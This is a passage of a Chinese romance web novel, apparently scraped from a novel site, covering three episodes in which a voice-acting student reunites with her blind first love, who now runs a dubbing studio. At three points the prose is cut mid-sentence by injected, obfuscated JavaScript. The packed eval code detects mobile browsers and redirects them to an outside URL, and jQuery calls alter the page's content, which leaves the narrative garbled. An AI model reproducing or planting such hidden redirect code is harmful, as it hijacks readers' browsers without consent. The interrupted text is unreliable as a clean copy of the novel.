《两只黄鹂不说话[先婚重圆]》 1. episode1 “现在,请闭上眼,开始享受一场声音和音乐的盛宴!” 小广场的露天小台子。 乐手沉醉其中,抱着手中乐器不停摇摆,碰撞。现代摇滚音浪起伏联通空气的震动,震颤人心。 橘黄灯光柔化水泥建筑轮廓,墨蓝天幕倾覆下来,带着群星点点,笼盖小广场,吉他,贝斯,键盘,架子鼓。 霎时收音。 人群寂然无声。 夜风也被揉皱,吹得极缓。 男生横拿木笛,拨开人流,琴音缓缓,如诉如泣。白色衬衫,黑长直裤,干净利落地走到键盘手面前。 然后。 单膝下跪。 “星星,和你一起走过了大学四年,毕业这一年你给了我太多支持,我希望以后每一年都在你身边。你,愿意嫁给我吗?” 女生有些不知所措,小广场上所有灯光都聚焦在她身上。虽是一百个愿意,但声带仿佛被人捏住,紧绷地发不出声响。 秦叠朝旁边贝斯手使眼色,眼皮快眨成羊癫疯了,对方却不肯赏光她一眼。 “白痴。” 她放下手里的吉他,几步从贝斯手手里抢过乐器,横扫,来回变调,低音升高。 一个炸场音。 “师姐——嫁给他——” 两行热泪不争气地流下来,秦叠知道师姐等这天等了多久。多么神仙眷侣的一对啊,看得人尸体暖洋洋的。 她的呼喊唤醒了人群,片刻彻底安静后,广场瞬间沸腾。此起彼伏的声音祝福这对有情人。 女生同意,两人相拥而泣,秦叠一个琶音,将气氛带起,抓牢贝斯就不肯放手。 旁边看得热泪盈眶的小伙伴这才反应过来贝斯的召唤,为这对情人填满声音的幸福,乐声在夜空下回荡,交缠,悠扬婉转。 原贝斯手此时措手不及,见秦叠没有归还原物的意图,便也无奈地拿起被她甩在旁边的吉他跟着和音。 不过,为什么要唱《光棍》啊? “我——以——为,我就是自由自在的一个人,为什么我一天没见到你就,焦-躁-难-忍……才发现,我已经,爱-上-你……” 秦叠双手围成喇叭状,超大声:“爱上你啦!” 余庆很有眼力见,跟着吼:“可能是吧!” 周静昀敲完最后一个音符也跟着应和:“行了行了,够了够了,知道了——” 几人主打一个不让当事人脸皮羞掉一层,不肯罢休。 池晚桑本来是路过,被这声“爱上你啦!”给吓得生生顿住脚步,他能感受到旁边人很多。 嘈杂的音乐,劣质的音响,互相散发热气的人群,换做平常,他是绝对不愿意前进一步的。 可今天饭局,主办方不知道好歹地送他一个望远镜,说是符合剧本设定,做了周边。却完全没考虑到他眼睛的情况。 不排除羞辱的成分。 可小成本工作室,低姿态接剧,想到回去后还有几个“雏鸟”在工作室张开嘴巴,可怜巴巴地等他投喂,他最终还是忍了。 女孩的声音很纯粹,是经过训练后找对位置的正确发声,澄澈,不染一丝杂质。在带着电流的劣质音响里还是可以感觉到她的喜悦,如郁金香沐浴阳光,在一片新绿中尽情绽放。 那场景,他已经很久没见过了。 “贝斯手小姐姐好漂亮。” 旁边人群传来讨论,是青涩幼稚的女声,听起来像是旁边大学的同学。 “我我我,我也觉得超有魅力,谁认识她,能带我见见吗?” 变声后的男声,池晚桑皱眉,没有变好,带着童声的高音和稚嫩,低音又太重,像污泥里的瓷娃娃。 难听。 他提步往前走。 “她是我们吉他社的,喜欢音乐,配音还有天文,超级热情大方的师姐,好像师姐今天生日呢。” 天文?今天生日? 还算有缘吧。 脚步顿住,盲杖原地转弯,朝着讨论的方向径直往回走,就在所有人被他吓得来不及避让时,池晚桑精准停在几人面前。 一开口就是温润淡雅的声音,像清风拂绿竹,水波潋荷叶,但他本身年龄不大,又不可避免带着青年人的爽朗与轻松,只是被压抑在最深处。 “几位同学,能麻烦帮我把这个望远镜给你们说的那个同学吗?虽然不能观星,可以观鸟什么没问题的。你们看我拿着也没用,我和她还挺有缘的,帮下忙?” 几人一时有些错愕,一是惊叹这人竟生的这样一副好嗓子,可谓天人。二是惋惜这张脸上的眼睛竟然是失焦的,让本就俊朗锋利的脸看上去更加破碎清冷。 “您不直接送吗?”女生开口问。 他嘴角微微泛开笑意,下巴朝人群抬了抬,温柔而绅士:“这里,我不太方便走过去。” 女生朝人群看了一眼,点头示意,又想起他眼睛不太方便,正要回答,被旁边的人抢过话头。 “那,需要说是您送的吗?”男生有些激动地问。 “当然。” 池晚桑朝着声音的方向回复一个礼貌而不容置疑的微笑。 如果连搭讪的礼物都要蹭别人的,他不希望台上的女生看上这个男生。 而且,他的声音,太难听了。 他池晚桑虽然只是一个小小配音工作室的老板,籍籍无名,但输人不能输骨气,对声音从来有比较高的要求。 这用工作室那群人的话说,叫做“穷讲究”。 另一边,求婚结束,今晚的表演也到此为止。 实话说每个人都对音乐有很强的热爱和执念,只不过是音响租用有时间限制,属于不得已为之,也只能遗憾离场。 余庆对秦叠抢他贝斯的事还耿耿于怀,和周静昀在一旁抱怨不停,可又碍于秦叠师姐的身份,晚上一年学,矮一个头,不好公开大发牢骚。 如今社团里就她资历最老,该放尊敬还得放尊敬。 “放尊敬就别让我听见!” 秦叠忍不住笑,两人就在旁边一米远的地方,还说什么悄悄话。 不过社团里本就没有太多等级划分,除了年级上的尊重之外,再不可能有其他谦让了。 她把吉他小心收进布套里,刚进大学的时候,她还只能和别人合用社里的吉他,两年勤工俭学,总算是吐血卖肉买了一个,倍感珍惜。 如今,她也快毕业了,秦叠有些感伤地摸摸琴弦,不在社团也不知道有没有机会弹。 “小琴,也许,朕这一退,就是一辈子啊。” 她本就擅长声线转化,此时换了个偏成年男人的声音,不能说像,只能是神似。 “得嘞,皇上你毕业了也随时欢迎来小的这里表演,小的随时给您准备茶水饮料,煎饼果子,腊肉香肠,松花小肚……” 社团里的人都知道她随时随地大小演的性子,志同道合的伙伴能不经意间接住你抛出的梗,也是她的幸运。 兜里手机震动,是爸妈的消息。 三人在她离家读书的时候建了一个群,群名叫“东柏回家”,是方便随时互通有无关于哥哥的消息的群聊,平日里几乎没有聊天记录,全是一些新刊登的新闻和寻人启事。 秦叠对这个群聊名称很反感,像是在随时提醒所有人那个未结痂的伤疤。每回看见消息,就像是把这一既成定局的事实拿出来反复鞭尸。 于是,她悄悄改成了“公益组织工作群”,冷漠,官方,不带情感。 妈妈惠熙发来一段语音,先是深呼吸两口,然后带着不确定的颤抖:【小回啊,你哥,好像找到了。】 秦叠,原名秦柔桑,但是自从哥哥丢了后,爸妈改名秦东回,寓意东柏回家,留一个念想。 哥哥失踪是在她初一时候,那个时候她对这个名字没有太大抵触,但是后来长大了,总觉得把一个悲剧的链条拴在她脖颈上,让她透不过气来,这不公平。 凭什么让她承受那么多过错。 而且这明明不是她的错。 爸爸秦时接着转发了一条认亲新闻,丢失的地点和当年吻合,只是时间上有些出入,不过过了这么些年,有些差错是正常的。 铃声响的一瞬,她还有些惊讶,毕竟,自从哥哥不见了后,他们再没有给她过过生日,哪怕一个简短的生日祝福都没有。 她理解,两个老人一辈子,全身心都扑在了找哥哥上面,她也喜欢记忆里的哥哥,希望哥哥早日找到。 她于是选择原谅。 秦时:【就在连阳,我们过几天过来,你抽时间和我们一起去。】 这是自她上大学来,老两口主动过来找她,原因却不是因为她。 秦叠不是很想回复,面无表情将手机揣回去,深呼了口气。 这么多年,萦绕在他们家头顶的石头终于要落地了,一切都像梦一样。 “秦姐怎么了?叔叔阿姨又找你要钱了?” 周静昀发现她脸色不太对,丢下絮絮叨叨的余庆,过来帮她收拾地上的线和凳子。 他们对秦叠家还算有些了解,就是因为之前老两口需要钱去全国各地找秦东柏,而老家不知是什么人又煽风点火说大学里有奖学金,助学金,勤工俭学还有工资拿。秦叠在大城市读书,肯定有收入,这才找上她。 她厚着脸皮向社团的人借过几次钱,后来大家对她的情况多多少少有些了解。 “师姐,你这爸妈要不就断了吧,当年差点让你读不了书,现在不出学费,还反着要钱,当大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460821|141719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学生是公司老板吗?” 说过说,闹归闹,余庆肯定还是站在秦叠这边的。据他了解,秦叠初高中是外婆养大的,老两口对这个女儿的照料只到小学,如果要还恩情,这几年秦叠没日没夜做兼职,他觉得够了。 秦叠笑着摇摇头,“不是,放心吧,他们应该不会向我要钱了。再压榨我,我就断了这层关系。” 这么些年,失意难过的时候,没有这群朋友站在她这边,替她说话,没有一味地叫她孝顺,让她懂事,她都不知道该怎么熬过来。 师姐和师哥腻腻歪歪结束,朝三人这边走过来,众人看见她手上的戒指,纷纷起哄,师姐招招手:“今天秦叠生日,我们一起去happy一下!” “对了,这是刚才吉他社的师妹给我的,说是看你在忙就没打扰你。好像是个不认识的人给的,说看你有缘,祝你生日快乐。” 余庆接过望远镜,“哇,是最近新广播剧的周边,秦姐都有这么厉害的粉丝了,改天不认识认识?” “那是,我们播音主持专业,秦姐可是响当当的一号人物,对声音情感把控自如,想不要粉丝都难。”周静昀献上她准备的生日礼物,郑重道,“师姐,作为你的站姐,请接受我的生日礼物,生日快乐!” “你喜欢送给你?”秦叠笑着谢过周静昀的礼物,朝余庆努努嘴。 “不了,不了,我就是看你拿不了,作为粉丝头子,当然要帮偶像提生日礼物了。” 秦叠成绩一直名列前茅,体态端正,长相清秀,长发被随意挽在脑后,像是从未精心雕琢,但清丽遗世的古荷,带着历史的厚重,同时不失惊艳。 她再次谢过大家的盛情邀请,还是想回去休息休息,“今天谢谢大家了,祝师姐和师兄百年好合,我就不参加你们的脱单聚会了,明天还有面试,得准备一下。” 众人看她满脸疲态,丝毫没有刚才台上的活力,也不再勉强,叮嘱她早点休息便兵分两路。 这也是秦叠喜欢这个社团的原因之一,并不强迫人去聚会,轻松自由,热爱音乐为主。 为了方便实习,她在校外租了一间房子,一室一厅,老旧小区,深巷掩映,图了便宜,就不能有太高的要求。 比如现在漆黑不见五指的水泥路,还有分不清方向的狗吠声。 城市发展迅速,周边都是现代化高楼,还是得感谢这个老旧不肯变通的犟牛小区誓死不屈,才能得以给她一个安身之所。 在灯光掩映中,她走进这片与周遭格格不入的黢黑巷道。 转动生锈的门把手,摁开开关,灯要等上两秒才给出反应,一闪一闪先酝酿情绪,才会要死不活地发出昏黄的光,带着电流滋滋啦啦的声响。 毛坯房装修风格,和走廊上如出一辙,水泥灰的墙壁上还留着前任租客的小孩画上的五彩斑斓风景画。 这里四面不通风,到了夏季怕是难以熬过去,租期刚好到毕业后两个月,秦叠得算着时间找新的住所了。 她没先拆朋友们给的礼物,而是拿起那个望远镜爱不释手。 上面的图案是聆境光合配音工作室最近接的广播剧周边,虽然工作室不出名,但算是小众里的精品,她早就关注了这方面,很是欣赏,明天去面试的也是这家。 虽然学的是播音主持,但四年的锻炼却让她对声音的另一种用法产生了极大的兴趣,加上她本身天赋不错,自学起来也是如鱼得水。 成败就在明天一举了。 她小的时候一直想要一个望远镜,想看到山那边的树,还有树上的鸟,鸟存在的云。 隔壁邻居哥哥有一个,但嫌弃她笨手笨脚,从来不让她碰,只能等他调好了,才能凑上去看个稀奇。 今天也算是圆梦了。 秦叠闭上一只眼睛,不甚熟练地朝窗外望去,屏气凝神。 漆黑一片。 忘开盖子了…… 重新准备,再次抬起来,架在窗台上。 一片漆黑。 窗框挡住了…… 模糊,调整,再模糊,再调整,灯光闪烁,快清楚了。 不过。 这是什么地方? 万家灯火里的一家。 一个男人穿着简单棕色亚麻面料短袖,正闭着眼将头伸出窗外,好像…… 好像在呼吸新鲜空气? 在这儿城市废弃污染严重的街道? 不过他长得,好优秀…… 秦叠忍不住多看了两眼,眉眼在夜色下愈发深邃,唇薄微翘,似在感受风,鼻梁利落高挺,斯哈斯哈…… 不过…… 秦叠猛地丢开望远镜,像是被眼前的景象给吓了一跳。 这是,池晚桑? 见鬼了见鬼了。 2. episode2 “刚才是……见鬼了吗?”秦叠拍拍胸口,自言自语道,似乎心有余悸般又尝试着拿起望远镜看清楚。 刚才却是机缘巧合,再想找准角度就难了。 夜空下漆黑建筑物里一盏盏灯光持续而明亮,像个巨大的盒子,包容上千万人的梦,他怎么偏就在这儿呢? “不对,秦叠,怎么能这么说别人呢?不就是拒绝你了一次,两次,三四次,五六七八次表白嘛,又不是死了。” 她学着观音娘娘的声音劝慰自己,“淡定,你要淡定,秦叠。” 抛开世界未解之谜——高考那年我那不翼而飞的暗恋对象为何突然出现在望远镜的剪影里。 今晚的任务是准备明天的面试。 于是。 秦叠转身笑嘻嘻投入拆礼物的喜悦中,一本《话桑麻》的设定集,聆境光合工作室独立出品的连载广播剧,她很喜欢。 拍照,发给周静昀,亲亲表情包。 琴:【还是师妹最懂我,亲亲。】 云:【生日快乐师姐,以后每天都要快乐。】 另一个有点重,打开,一口煎蛋锅…… 点开对话框:【余庆,我谢谢你。】 鱼:【是吧是吧,不大不小,刚好只能煎一个蛋,怕你害怕溅油,我还买了加深款。美丽的废物,只有朋友才舍得买。爱你。】 琴:【抱拳。】 这个深度,怕是不能防止溅油。 不过,窗边含羞草花盆差一个底座,大小倒是正合适。 秦叠一一拍照,道谢,很快整理好了房间。 她从小东西就不多,深居简出类型,放眼整个房间,和样板间没什么两样,除了一些必备的水杯,电炉,床,镜子,其余的一概没有。 最多余的就是窗台上的含羞草了,不过现在…… 她看一眼置物架上的礼物们。 小草不再多余了。 手机再次震动。 惠熙:【小回,看见消息了吗?那边我和你爸人生地不熟的,都得靠你啊。】 秦叠:【这几天快毕业了比较忙,我看情况吧,你们先过来。】 秦时:【再忙也得抽出时间来,你哥哥的事是大事,不能耽误。】 秦时:【在外面读了几年书,自己姓什么都不知道了。】 秦叠记得高考结束填志愿的时候,别人的家长都忙得焦头烂额地找信息,生怕浪费了孩子拼命换来的每一分。 而她去问秦时怎么填报,他却说报名老家附近的二本,离家近,万一哥哥那边有情况,还能有照应。 如今想来,幸好没听他的话。 池晚桑离开之前帮她分析过学校的报考情况,她还好认真选了,不然此时就只能和老两口一样在老家大眼瞪小眼,等着发霉发臭,还有哥哥那希望极其微小的消息。 秦叠:【什么时候过来?】 对方没有回复。 靠。 不能浪费时间了,必须开始准备面试,预则立,不预则废。 手机弹窗,关注的博主更新提醒。 注意力就是被这些东西给耽搁的! 她几乎是没有犹豫,打开之前经常关注的做饭博主,又更新了一期,做的是最简单的阳春面。 细面柔顺铺在碗底,软而有劲道,汤汁清香,热气蒸腾而上,最后撒上点点绿意,大功告成。 博主从来不说废话,或者说,不说话。但却用了很好的收音器,安静地做饭时,只能听见视频里油锅沸腾,气泡爆裂的声响,菜刀切断果蔬经络的脆响和嘎吱声,铲子与铁锅碰撞发出的乐章。 如果闻不到是一种遗憾,这在听觉上也是别样的盛宴。 最初点进视频,完全是被这双做饭的手给吸引。 骨骼纤细修长,白皙无杂质,用力间,青紫色经脉微微偾张,看着有柔和似水的温柔,却能精准地剁下排骨,绕指柔立成百炼钢,动作利落简略,一气呵成。 像是古装剧里一袭白衣飘飘而来的温雅公子,轻拂衣袖间,就能要了方圆百里的性命,宠辱不惊。 她也认识一个人,有这样令人叫绝的双手。 就是刚才被她叫成鬼的池晚桑。 不过他们的缘分早就尽了,不多说。 这样简单一碗面竟也把她给看饿了,果然深夜放毒的,就是轻微屁臭也能名震江湖。 看了眼,公益群还没有回复,秦叠不再管,索性拿上外套准备去超市溜达一圈。 吃饱了才有力气准备明天的面试。 她很喜欢逛超市,没有其他店铺售货员跟在屁股后面,一边防贼一样盯着自己一举一动,一边又蹩脚地夸赞和喋喋不休地推销。 超市里,琳琅满目的货架,像是等待自己翻牌的妃子们,乖巧安静,从不争风吃醋。 “就你了,香辣牛肉面爱妃。其余人就等朕发达了,找个机会挨个宠幸吧。” 她演得起劲,没注意到乱跑的小孩,正入戏张开手臂间,怀里冲进一个小家伙。 秦叠反射性护住怀里的孩子,脊背生生撞在货架上。 “你……”开口还是皇帝的声音,她干咳了两声,“你没事吧小朋友?撞疼了没?” “谢谢姐姐,姐姐你衣服上好脏,黑漆漆一团,皇帝不穿这样的衣服哦。” 小女孩精力旺盛,根本没被这场意外影响,又向前跑去。 秦叠低头查看衣裳,看来是白天在奶茶店打工不小心沾上的,她噘了噘嘴。 不过,她…… 竟然听完了秦叠自言自语的发疯日常! 太羞耻,太羞耻了。 殊不知隔壁货架旁,正在津津有味听皇帝翻牌的池晚桑,也被这忽然的撞击声给吓了一跳。 秦叠一开口,他就认出来是广场上唱歌的女孩,对声音拿捏到位,男声不显得油腻造作,能有这样好声音的女孩,很难遇见。 他之前也认识一个喜欢配音的姑娘,可是过了太久,中间又发生太多事,梦里她的声音已经模糊不清,且变化太大,不可能再认出来了。 要不问问人家有没有意愿来工作室上班? 池晚桑皱了皱眉,不过这一身的速溶咖啡味,太浓郁了,来聆镜绝对不能有这么浓的味道。 就在他犹豫不决的时候,隔壁皇上已经翻完牌,美美回家准备宠幸香辣牛肉妃了。 苏木电话:“池老板,买个榨菜要这么久啊,你再不回来,面都要坨了。你得再赔我一碗,不然……” “你有手有脚的,我给你做饭,还让盲人出来买榨菜,你不要得寸进尺。” 池晚桑一句话给堵回去,利落关掉电话里的唐僧,拄着盲杖走向收银台。 苏木揣手手:这,这不是你让我们不把你当盲人看嘛,倚盲卖萌起来了还…… 秦叠回去给外婆打了通电话,本想套套话问哥哥那边的情况,但是电话那头嘘寒问暖不断,根本没给她几乎插嘴,就已经把她这阵子吃过什么,去过哪里,就连几点睡觉起床都摸得一清二楚。 秦叠觉得外婆这是生错了年代,要是放在民国,当个地下派,暗卫,间谍都绰绰有余。 于是哥哥的事情就暂时抛在脑后,这几天太累,沾床就倒,直到第二天闹钟响,也没有为这个面试准备一分一毫。 完了完了。 拿员工优惠去打工的奶茶店买了杯奶茶,又在旁边超市买了两个包子,还好工作室不远,紧赶慢赶,准时到达。 工作室在附近写字楼的一二层,规模不大,临步行街,咖色门框装点边缘,透过玻璃门能看见里面装修不算豪华,却简洁明亮,配色偏西欧风格。 看来这个老板也很喜欢样板间的装修风格。 刚开门踏进去一只脚,秦叠就连退三步,顺手把门给带上,“欢迎光临”门铃都还没来得及说完,卡到一半,她已经全身而退。 有狗。 超大一只。 狗窝就在门口,正正挡住去路。 黑得白里透红,红里发紫的一只拉布拉多犬。 她甚至没有看清楚黑饼上面的五官…… 好生勇猛的一块黑饼,不,一只烈犬。 秦叠抚胸顺气。 一个大姐姐开门,探出一个头,齐肩短发荡漾开来,她笑得很好看,颊边有一对梨涡,知性温柔对着秦叠招手:“岫白不咬人的,有什么事吗小姑娘?” 林桐刚坐下就看见门口人影和岫白对视三秒后,一闪而过,身形敏捷得不像是一般人。 “您好,我是来面试的。” 秦叠有些不好意思,尴尬地摸了摸后脖颈。 卯着胆子,毕竟不能让未来东家开门等这么久,秦叠咽了咽口水,抬步跟上去。 一楼是休息室,有厨房,会客厅,茶水间,布局简单大气,没有弯弯绕绕的隔板装饰,一览无余。二楼才是配音室。 刚才太紧张,现在一进门就闻见一股浓郁的酸汤鱼的味道,鲜香扑鼻,酸味爽口。可能是谁点的外卖吧。 “你叫秦叠是吧?”林桐笑得一如既往的和善,“你在这儿坐一会儿,老板现在还有些事在忙。桌上的零食不要客气。” 林桐姐声如其人,像是冬日里的暖宝宝,夏天的冷饮,让人心情舒畅。 秦叠笑着回应。 对面沙发上坐了两个人正聚精会神盯着秦叠看,女生一身时髦打扮,栗色大波浪卷,鲜艳口红,眼睛眨也不眨。另外一个男生像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“懒死你们俩得了,要不你俩替他去相亲,这热闹看得……” 苏木穿了一件棕色围裙,从厨房探出头来,手里还拿着铲子,抱怨道,一边不在意地给秦叠指了个方向。 这,这,偶像竟然在做饭,刚才怎么太紧张了,什么都没看见。苏木亲手指的厕所,一定要去上一上。 秦叠的注意力完全没听到“相亲”两个字。 “您是苏木吗?终于见到真人了,我超喜欢您的作品,话桑麻里的对白我反复听了一百遍都快背下了。” 苏木听她这么一说,傻呵呵笑着:“我的粉丝啊,今天面试加油哦那。” “会的!” 秦叠紧张地跑进厕所,完全没注意到身后两人的讨论。 沈桉羽:“小姑娘偶像竟然是苏木,我还以为是奔着池老板来的。” 陈藻:“老板之前的作品都没带上聆镜的标签,不知道很正常。不过偶像竟然是苏木,凭什么!” 相亲局开始得迅速,也结束得迅速。 秦叠就上了个厕所的功夫,出门就看见女生有些失望地快步出门去。 而她还沉浸在和苏木对话的羞涩里,头埋着洗手,回味无穷。 听见皮鞋轻轻碰撞木质地板的清脆声响,身后来人趔趄了一下,随即一个极温柔的男声:“抱歉。” 男人声音里自带的绅士和疏离感,柔和沉静,圆润却不腻耳,却又多了几分懒倦,休闲和肆意的声线是秦叠没听过的。 但她可以肯定,就是刚才那个人。 池晚桑此时换了件白色卫衣,皮鞋也换成了休闲白色板鞋。 工作室为了应付突发的情况,每个人都备了一套正装,这也是他对这次相亲的尊重。 秦叠透过镜子,发现他撞上的是一个大号的熊娃娃,被随意放在路边。 而那人却因为眼睛看不见,以为撞上了别人,谦卑地道歉。 许久没有回答,池晚桑自嘲地笑了笑.。 “又……” 那声若有似无的叹息,像是一个人抱着玻璃渣前行,不小心在指缝间滑落一颗,鲜血低落,他只能摇摇头,认命地弯腰捡起。 却不曾想怀里的玻璃碎渣又散落了一地。 “没关系。” 她转身,抢着答道。 有种冲动,不愿再让他再俯身一粒粒捡起碎渣。 同时沈桉羽的声音带着不耐烦传来,“苏木,你乱放什么东西,差点把池晚桑绊倒。” 池晚桑? 秦叠愣在原地,任由洗手池水流飞溅,眼前人的眉眼,鼻梁,下颌,她再熟悉不过。 “晚桑哥?” 他怎么看不见了? 3. episode3 一楼会客厅靠窗的位置有架钢琴,陈藻在上面试音的手指忽然停顿,听见这边的情况后。 几个重音突兀地出现,尾音拉长,似在强调这一尴尬滑稽的氛围。 池晚桑没有戳破秦叠的尴尬,眼神也没有聚焦在她身上,棕褐色的瞳子却有魔力般将秦叠定在原地。 开口仍然徐徐温柔:“你,认识我?” 如果说认识,工作室可能会为难,这层关系不远不近,左右都是死路,不如不相认。而且看池晚桑的样子,像是没有认出她的声音。 但是这种占便宜的好机会,百年难得一遇啊。 万分纠结…… “不认识,听他们叫你名字,打声招呼,咳咳咳。” 秦叠有些紧张,内心赞叹自己一百万遍,老子真**讲究公平,真**是个好人,明天劳动委员会和就业委员会就应该给她颁发正义就业奖章。 “应聘配音演员,声音条件需要好,注意保护嗓子。” 女孩的音调虽然刻意压低,但让他回想起内心深处的那个声音,在深夜里闷沉沉地回响。 像是巨幕电影的回放,黑白影片下的观众只有他一个。派大星委屈地嘟嘴问他:“海绵宝宝,今天不出去玩吗?” 不过,应该不是她吧。 池晚桑皱眉,又闻到一股甜腻的奶茶味,香精浓郁的气味有些窒息,他下意识往旁边让了半步。 她那么优秀,会过得很好的。 “你叫什么名字?” 这男人明显对自己有些不满,也不知道哪里做错了,可开口间沉稳的男声总能让人忘记这些小细节。 明知道他看不见,秦叠眼神也闪躲着,恭敬地回应:“我叫秦叠。” “我认识你。” 池晚桑斩钉截铁。 “怎么会呢哈哈哈。” 这就被认出来了?那她一个明眼人还装不认识,这得多尴尬,那只能装傻到底,顶多套上一个记忆不好的罪名,好过老友失明拒绝相认的势利小人。 秦叠双手无意识在身前摩挲,还没开始面试已经紧张出一身薄汗。 “昨天晚上,在小广场表演节目,我记得你的声音。” 吁—— 原来是这个。 “池老板难得记得别人的声音,今天面试有希望哦,加油。” 沈桉羽俏皮地朝秦叠眨眨眼。 “池……老板?” 林桐在咖啡机旁忙碌,解释道:“是啊,这个工作室的老板,你可能没怎么听过他的声音,我们却都是他的手下。” 池晚桑没理会几人的打趣,朝厕所走去,他没有使用盲杖,却走得毫无顾忌,看来对这里十分熟悉。 擦肩而过时,秦叠闻见淡淡木质清香,和着书卷气息,让人心旷神怡。 记忆中的池晚桑家里总是有一架钢琴,每回路过青灰色砖瓦,仰望墙内攀援而出的三角梅,会听见淡淡的琴声,或慷慨激昂,或情深舒缓,带着弹奏者的心绪,在花藤上向她招手。 秦叠以为,池晚桑会成为一名钢琴家,毕竟他在她眼中,永远是琴凳上宠辱不惊的模样。 “桉羽姐,是刚才的相亲失败了吗?池老板一副魂不守舍的样子。” 秦叠靠近沈桉羽,不时回头看了那个身影一眼。 沈桉羽严肃地点点头,有些惋惜道:“这次这个算是最通情达理的了,是苏木认识的一位老师,没想到还是过不去老板眼睛这一关。” 随即她眼睛一亮:“你认出我是桉羽了?我声音这么有辨识度的吗?” 秦叠:“我是聆镜的老粉了,工作室除了林桐姐就您一个女生,一下子就猜到了。不过我没在作品上看见过池老板呢?” 一旁沉默许久的陈藻终于发话:“那是因为他没以工作室的名义发过作品,之前配的片段也换着网名用,池老板深藏功与名啊。” 看着他一身蜜色肌肉,眼神却躲躲闪闪,娇羞的状态和这阳光大男孩的形象简直格格不入。 陈藻抬着笔记本电脑,点开几段视频,脸上颇有些得意之色:“呐,这些都是池老板配的。” 从热门广播剧到电视剧,修仙玄幻到都市恋爱,池晚桑虽然没拿到主角的剧本,却将声音的变换发挥到极致,完美地塑造出各个人物的性格特征。 弹幕里除了男女主粉丝刷屏的,剩余全是扒池晚桑声音的人,可惜没人能将诸多角色联系在一个人身上。 从未亲眼见过如此厉害的大佬,那为什么聆镜成立这么些年仍旧籍籍无名? 似乎是读懂她眼里的迷惑,苏木端着煮好的酸汤鱼到饭桌上,笑着解释:“虽然我们工作室有尊大佛,但是奈何没人请得动,佛系工作室,慢慢习惯就好了。” 秦叠笑着点头,没头没尾来了一句:“这么优秀,还相亲,还都相亲失败了……” 可惜啊。 “苏木,下次不要自作主张给我安排相亲了,饭好了吗?”温厚的男声忽然在背后响起,“在和新来的小朋友聊什么?” 小朋友? “啊,我是说关关难过关关过!”以为自言自语被抓包,秦叠立马找补,空气突然降温,这才发现,根本没人注意到她。反而显得突兀。 慌不择路,秦叠开始胡言乱语:“池老板加油,一定能找到如意郎君,咳咳,心上人。” 池晚桑脸上没有任何表情,其余人对这个小姑娘忽然而来的羞赧有些不解,她脸上只得做出无奈神色,勉力陪着笑脸: “池老板太厉害了,今天面试有点紧张,哈哈,我,我关关难过关关过,自己打气加油呢。” 池晚桑熟稔地从旁边墙上挂着的纸篓里抽出一张餐巾纸。 刚洗过,水珠似都不愿意离开这双鬼斧神工的手,滑落时带着几分留恋,反射晶莹的泪珠。 他动作利落,双手交叠,纸巾瞬间浸满水分,透明质感下,棱角线条分明的手背若隐若现,微微凸起的青筋和指骨带着不可言语的性感。 秦叠难以抑制地咽了咽口水。 她的手不好看,肉嘟嘟小胖手,手指短,不适合弹钢琴,所以才学了简单易学的吉他。 但池晚桑不一样,从小就学习钢琴,细长的手指在黑白琴键上自由肆意翻飞的模样,她至今都记得,更别提这双手做出来的饭有多好吃了。 “不用紧张,酸菜鱼好了,一起吃个饭吧。” “啊?啊!” 秦叠怏怏跟在后面,不敢超过他,也不知如何进行面试,迈着小碎步低头护在池晚桑后面,毕竟也是个盲人。 谁能想到工作室老板是她的初恋对象,可恶的是现在听见这男人的声音,看见他故作无辜的脸,还是能在心里掀起一次波澜。 白月光害人不浅…… 秦叠现在找个狗洞钻进去的心都有了。 “按照我说的时间煮够了吗?”池晚桑问。 “可不敢不按照你的要求,我就守着火候的任务,还能干砸了?”苏木笑嘻嘻解下围裙,搓手有些迫不及待。 原来,这酸汤鱼是他做的。 红嫩汤汁,番茄鲜香,夹杂泡姜的清爽,些微辣子更添氛围,鱼肉在汤汁中隐隐约约,滑嫩爽口的模样。 有把好手艺。 自从秦叠和爸妈从奶奶家搬走后,午饭和晚饭就得靠自己解决,她偶尔会去池晚桑家蹭饭,不过他也只会做一些蛋炒饭和青椒肉丝之类的。 可见,这些年手艺越渐精进了。 秦叠本来想说自己吃过早饭了,现在也识相地消了音。 “我们昨晚熬了大夜赶配音,苏木约的相亲又在早上,所以现在才吃饭,勉强跟我们稍微吃一点吧。” 林桐温言细语地解释,这春风化雨的听感,不配女主绝对说不过去。 “不勉强,一点不勉强。” 冲着这口美味,就算是鸿门宴,她也硬着头皮上了。士为知己者死,秦叠为酸菜鱼亡。 “能吃酸的吗?贵州菜,这里池老板还剁了些料,有折耳根。”沈桉羽给大家分配蘸水,秦叠只是一个劲儿点头。 “能吃,折耳根我不能单独吃,但如果是放在调味料里正是刚刚好。” “有了解过我们工作室吗?”苏木一边协助沈桉羽,一边侧过头来问秦叠。 “关注了很久了,聆镜一直在广播剧领域深耕,虽然没有赶上大制作,每次各位老师的出场都很惊艳。每周的话桑麻短剧我也都追更了,非常喜欢苏木老师配的剑客角色,声音里带的桀骜和不羁都恰到好处。” 《话桑麻》是聆镜出品的每周固定广播短剧,讲的是古代武侠故事,以剑客为主线,串联起各家的琐碎日常,相比较传统武侠, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 